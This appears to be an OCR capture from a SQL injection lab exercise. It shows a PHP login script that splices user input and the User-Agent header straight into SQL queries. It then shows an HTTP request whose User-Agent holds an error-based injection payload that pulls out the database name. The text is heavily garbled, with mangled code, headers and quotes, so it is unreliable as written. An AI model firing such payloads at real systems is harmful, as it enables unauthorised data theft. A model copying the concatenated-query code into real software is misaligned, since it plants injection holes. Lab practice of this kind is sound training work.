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$username = $ POST[ 'username'];

$password = $_POST[ 'password'];

$uagent = $ SERVER[ 'HTTP_USER_AGENT'];

$jc = $username.$password;

$sql = 'select *from user where username =\ $username.'\' and password=\''_.$password.'\'"’;
if(preg_match('/.*\'.*/',%jc)!== @){die(' A I i k. ZEIEdmA /S5

)5

$result = mysqli_query($conn,$sql);

mysqli_select_db($conn, ' **#**

$row = mysqli_fetch_array($result);

$uname = $row[ 'username'];

$passwd = $row['password'];

if($row){

$Insql = "INSERT INTO uagent ( uagent’ , username ) VALUES ('$uagent’, '$uname')";
$resultl = mysqli_query($conn,$Insql);

print_r(mysqli_error($conn));
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POST [Pass-07/index.php HTTR/M.1
Host: injectx1.lab.aglab.cn:81
User-Agent: 1'and extractvalue(l concat(Dx7e (select database()),1)) and oooooooooo
Accept: text/html application/xhtml+xml application/xml; g=0.9 imagefwebp *™* q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/s-www-farm-urlencoded

Content-Length: 56

Origin: http:/finjectx1.1ab.aglab.cn:81

Connection: close

Referer; http:/finjectx1.1ab.aglab cn:B1/Pass-07/index.php
Upgrade-Insecure-Requests: 1

e

username=admin&password=123456 &submit=%E7 %99%BB%E5%B0 %95
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